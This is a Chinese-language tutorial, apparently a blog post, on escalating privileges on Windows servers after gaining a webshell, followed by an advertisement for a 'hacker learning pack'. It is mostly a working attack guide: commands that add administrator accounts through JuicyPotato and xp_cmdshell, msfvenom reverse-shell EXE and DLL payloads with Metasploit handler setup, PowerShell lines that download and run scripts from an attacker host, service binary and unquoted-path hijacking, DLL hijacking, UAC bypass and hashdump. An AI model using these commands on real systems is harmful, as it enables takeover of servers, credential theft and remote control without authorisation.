一、 基础知识:菜鸟也能看懂的权限管理
想玩转提权,先得搞清楚用户和用户组是个啥。别怕,这玩意儿不难,就跟游戏里的角色和公会一样。
在Windows的世界里,不同用户就像拥有不同技能的角色,权限大小也各不相同。常见的权限有:
- 完全控制:想干啥就干啥,为所欲为。
- 修改:改改文件,动动配置。
- 读取和执行:看看文件,跑跑程序。
- 列出文件夹内容:看看文件夹里都有啥。
- 读取:只能看,不能动。
- 写入:可以写点东西,但不能乱改。
1、内置用户:系统自带的“VIP”和“体验账号”
- Administrator:系统管理员账号,权限高的吓人,拥有至高无上的完全控制权。
- Guest:来宾账号,权限低的要命,基本啥也干不了,而且默认还是禁用状态。
2、查看本地用户:看看都有哪些“居民”
想知道你的电脑里都有哪些用户?一条命令搞定:
net user
3、查看用户详细信息:扒一扒用户的“老底”
想了解某个用户的详细信息?比如权限、所属用户组啥的?
net user darkid
- 注意:一个用户可以同时属于多个用户组,就像一个人可以加入多个社团一样。常见的用户组有:管理员组(Administrators)、普通用户组(Users)、IIS用户组(IIS_IUSRS)、来宾组(Guests)、远程登录组(Remote Desktop Users)。
4、查看本地组:都有哪些“帮派”
想知道你的电脑里都有哪些用户组?
net localgroup
5、内置用户组:系统自带的“帮派”
- administrators:管理员组,大佬云集的地方。
- users:新建用户默认加入的组,都是些小弟。
- guests:权限最低的组,基本都是打酱油的。
- iis_users:Internet 信息服务专用的组,搞Web开发的比较熟悉。
6、查看用户信息:我是谁?我在哪?我要干什么?
想知道当前用户的详细信息?
whoami /all
二、 提权基础:从WebShell到掌控服务器
提权解释:从“小弟”到“大哥”的逆袭
提权,顾名思义,就是提升权限。就像游戏里从小号练成大神一样,把普通用户的权限提升到更高的级别,最终夺取服务器的控制权。在渗透测试中,这是非常关键的一步。
- 注意:WebShell的权限取决于中间件的权限。如果中间件没做特殊设置,WebShell的权限就跟中间件一样。
提权常用方法:十八般武艺,样样精通
Windows提权的方法有很多,就像武侠小说里的各种武功秘籍:
- 漏洞提权:利用系统或软件的漏洞来提升权限,就像抓住敌人的弱点一样。
- Windows特性提权:利用Windows系统的一些特性来实现提权,有点像“官方外挂”。
- 第三方组件提权:利用第三方软件的漏洞或配置不当来提升权限,比如SQL Server、MySQL等。
- 数据库提权:通过操作数据库来提升权限,比如执行一些特殊的SQL语句。
- FTP提权:利用FTP服务的漏洞或配置不当来提升权限。
常用命令:提权路上必备的“葵花宝典”
systeminfo | findstr OS # 获取系统版本信息,知己知彼,百战不殆
hostname # 获取主机名称,确认身份
whoami /all # 获取当前用户的详细信息,了解自身情况
whoami /priv # 显示当前用户的安全特权,看看自己有哪些“特权”
net start # 查看服务,看看有哪些“帮手”
quser/query user # 获取在线用户,看看有哪些“同伙”
netstat -ano | findstr 3389 # 获取RDP连接来源IP,小心被“查水表”
dir c:programdata # 分析安装杀软,摸清“敌情”
wmic qfe get Caption,Description,HotFixID,InstalledOn # 列出已安装的补丁,看看有哪些“漏洞”
tasklist /svc | find "TermService" # 获取服务pid,找到“目标”
netstat -ano |find "pid" # 获取远程端口,锁定“敌人”
三、 Windows提权神兵利器:效率翻倍的辅助脚本
工欲善其事,必先利其器。提权路上,这些辅助脚本能让你事半功倍:
-
检测系统补丁脚本:https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
-
查看补丁:https://github.com/chroblert/WindowsVulnScan
-
Windows内核提权EXP:https://github.com/SecWiki/windows-kernel-exploits
-
在线提权利用查询:https://lolbas-project.github.io/
-
提权辅助网页:https://i.hacking8.com/tiquan
四、 提权流程图:妈妈再也不用担心我迷路了
graph LR
A[能够执行cmd命令] --> B{是否打补丁}
B -- 是 --> C[补丁对应EXP]
B -- 否 --> D[尝试其他提权方法]
C --> E[获取服务器权限]
D --> E
五、 补丁查询:精准打击,告别盲人摸象
首先,使用
systeminfo > sys.txt
命令将系统信息保存到sys.txt文件中。
1、在线网站:https://i.hacking8.com/tiquan
简单粗暴,直接上传sys.txt文件,一键查询。
2、WESNG查询补丁
https://github.com/bitsadmin/wesng
python wes.py --update-wes # 更新WESNG
pip3 install chardet # 下载chardet包
python wes.py c:sys.txt # 检测补丁
3、WindowsVulnScan查询补丁
https://github.com/chroblert/WindowsVulnScan
-
注意:这个工具的CVEKB数据库可能比较老旧,只更新到2017年,而且没有给出CVE是否有公开的EXP信息。
-
原理:
- 搜集CVE与KB的对应关系,从微软官网收集,然后存储到数据库中。
- 查找特定CVE网上是否有公开的EXP。
- 利用PowerShell脚本收集主机的一些系统版本与KB信息。
- 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE。
六、 Windows常用提权术:十八般武艺,总有一款适合你
CVE-2016-3225(MS-16-075)提权:烂土豆的威力
1、漏洞描述
当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
【注】:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户。
2、漏洞复现
- 下载文件:https://github.com/uknowsec/JuicyPotato,上传到WebShell的可执行目录。
执行命令:
/c c:windowsdebugWIAJuicyPotato_x64.exe -a "net user moon 123456 /add && net localgroup administrators moon /add"
- 开启3389端口,方便远程连接。
- 连接服务器,验证提权是否成功。
CVE-2014-4113 (MS14-058)提权:内核漏洞的利用
1、漏洞描述
如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
2、漏洞复现
和CVE-2016-3225类似,下载EXP,执行即可。
CVE-2020-0787 提权:BITS服务的“后门”
1、漏洞描述
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
2、漏洞复现
- 下载地址:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
- 建立普通用户:
net user darkid 123456 /add
,本地切换登录。 - 执行
c:\windows\debug\WIA\BitsArbitraryFileMoveExploit.exe
。
MSF提权:Metasploit的强大力量
1、Kali上生成反向Shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.221.128 lport=4444 -f exe > s.exe
2、使用WebShell上传到可写可执行目录
3、设置MSF监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.221.128
set lport 4444
exploit
4、WebShell中执行后门
5、常见提权模块
ms14_058 # 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 # WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 # MS16-032 Secondary Logon Handle 本地提权漏洞
ms16_075
6、使用EXP进行尝试
7、MSF基本命令
ps # 列出进程
background # 把session放置后台
sessions # 查看会话
back # 返回主界面
shell # 得到终端
search # 搜索模块
show # 列模块
info # 查看模块信息
use # 使用模块
8、查询补丁情况
run post/windows/gather/enum_patches
9、使用模块提权审查
use post/multi/recon/local_exploit_suggester
set session 1
exploit
10、进程迁移
ps
列出进程。migrate 2744
迁移到explore进程中。
七、 Windows系统配置错误提权:捡漏式提权,姿势要优雅
系统服务权限配置错误:利用“后门”提升权限
1、描述
Windows在系统启动时,会伴随着一些高权服务启动(Windows服务是以SYSTEM权限运行的)。如果某些服务存在一些漏洞,那么就可以借此服务进行权限劫持,例如DLL劫持。
2、漏洞介绍
Windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
3、复现
方法一:PowerShell扫描
- 使用PrivescCheck这个PowerShell脚本,比PowerUp显示的内容更详细。
git clone https://github.com/itm4n/PrivescCheck.git
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.221.128/PrivescCheck.ps1'); Invoke-PrivescCheck"
找到可以利用的服务(使用SC
命令)。
sc query UsoSvc
sc stop UsoSvc
sc config usosvc binPath= "C:s.exe"
sc start UsoSvc
方法二:MSF模块扫描利用
- 使用
exploit/windows/local/service_permissions
模块。
这个模块会使用两种方式获取SYSTEM权限:
- 如果以管理员权限运行,会尝试创建并运行一个新的服务。
- 如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫持。
不带引号的服务路径的提权:空格惹的祸
1、描述
如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
2、条件
- 服务路径存在空格。
- 目录可写。
3、漏洞复现
- 使用PowerShell和DOS扫描空格服务。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke-AllChecks"
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
- 上传后门文件重命名为
C:\Program.exe
。 - 重启系统后获得高权限Shell。
- MSF自动进程迁移:
set AutoRunScript migrate -f
。
自动安装配置文件提权:泄露的“秘密”
1、描述
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件。这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
2、漏洞复现
- 执行命令:搜索
unattend.xml
。
dir /b /s c:Unattend.xml
Unattend.xml
文件通常使用Base64对管理员的密码进行编码。- 可以使用MSF的
post/windows/gather/enum_unattend
模块对这个配置文件进行扫描。
八、 本地DLL劫持提权:狸猫换太子,玩转DLL
1、漏洞原理
Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。Windows应用程序会按照以下顺序搜索DLL:
1、应用程序加载的目录
2、C:WindowsSystem32
3、C:WindowsSystem
4、C:Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
2、攻击过程
收集进程加载的DLL -> 制作DLL木马 -> 替换DLL -> 启动应用
3、漏洞复现
收集进程加载的DLL
-
使用火绒剑分析进程加载的DLL。
-
注意:系统文件一般更改不了,选择未知文件和数字签名文件。
制作木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.1 lport=8888 -f dll > libcurl_x86.dll
替换DLL
服务器管理员开启应用,收到Administrator权限的反弹Shell。
九、 第三方提权:借力打力,四两拨千斤
安装第三方的软件例如 MySQL、SQL Server、FTP等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。
SQL Server提权
1、描述
如果网站里面使用的数据库是SQL Server,那么如果找到SA的密码,利用提权脚本,执行命令。但是不一定是SYSTEM权限,还要看管理员开始安装SQL Server的权限设置。一般情况是SYSTEM权限或者PUBLIC均能执行命令。
2、敏感文件
web.config
config.asp
conn.aspx
database.aspx
3、复现
使用MSSQL连接工具或者WebShell Net提权脚本输入账号和密码连接。
开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
UDF提权
1、描述
在MySQL可以使用自定义函数进行提权。UDF = User Defined Function,用户自定义函数。对于自定义的函数,在MySQL 5.1版本以后就需要放在插件插件目录/lib/plugin
,文件后缀为DLL,C语言编写。
2、插件目录
- 查询PLUGS插件目录:
show variables like "%plugin%"
3、复现
- 在网站上寻找MySQL服务的连接账号和密码。
- 上传提权脚本到网站目录。
4、MySQL提权问题
- 版本有32和64位的MySQL。创建函数的方法一样,但是64版本的要用64的
udf.dll
。 - 如果出现
The MySQL server is running with the –secure-file-priv option so it cannot execute thisstatement
,说明MySQL默认设置是不允许导入导出,需要在my.ini
添加secure-file-priv =
,保存重启MySQL即可。 - 如果出现
Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll
,说明没有权限导出或者PLUGIN目录不存在,需要手动创建或者权限不够。
MOF提权
1、描述
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。
2、原理
MOF是Windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof
),叫做"托管对象格式"。其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了MySQL的ROOT权限了以后,然后使用ROOT权限去执行我们上传的MOF。隔了一定时间以后这个MOF就会被执行,这个MOF当中有一段是VBS脚本,这个VBS大多数的是CMD的添加管理员用户的命令。
3、影响版本
- Windows 03及以下版本。
- MySQL启动身份具有权限去读写
c:/windows/system32/wbem/mof
目录。 secure-file-priv
参数不为NULL。
绕过UAC:突破“用户账户控制”
1、描述
- UAC(User Account Control,用户账户控制)就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
- 为了远程执行目标的EXE或者BAT可执行文件绕过此安全机制,以此叫Bypass UAC(不进行弹窗直接运行执行文件)。
2、复现
- 使用MSF搜索UAC模块。
- 通常使用
bypassuac
模块,一般是可以绕过的,但是也不排除失败的可能。 - 通过进程注入使可信任发布者证书绕过Windows UAC。
use exploit/windows/local/bypassuac
set session 1
run
或者使用bypassuac_injection
模块进行Bypass。
use exploit/windows/local/bypassuac_injection
set session 1
run
- 迁移进行到64进程即可。
hashdump
测试。
希望这份提权秘籍能助你早日成为安全大神!
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************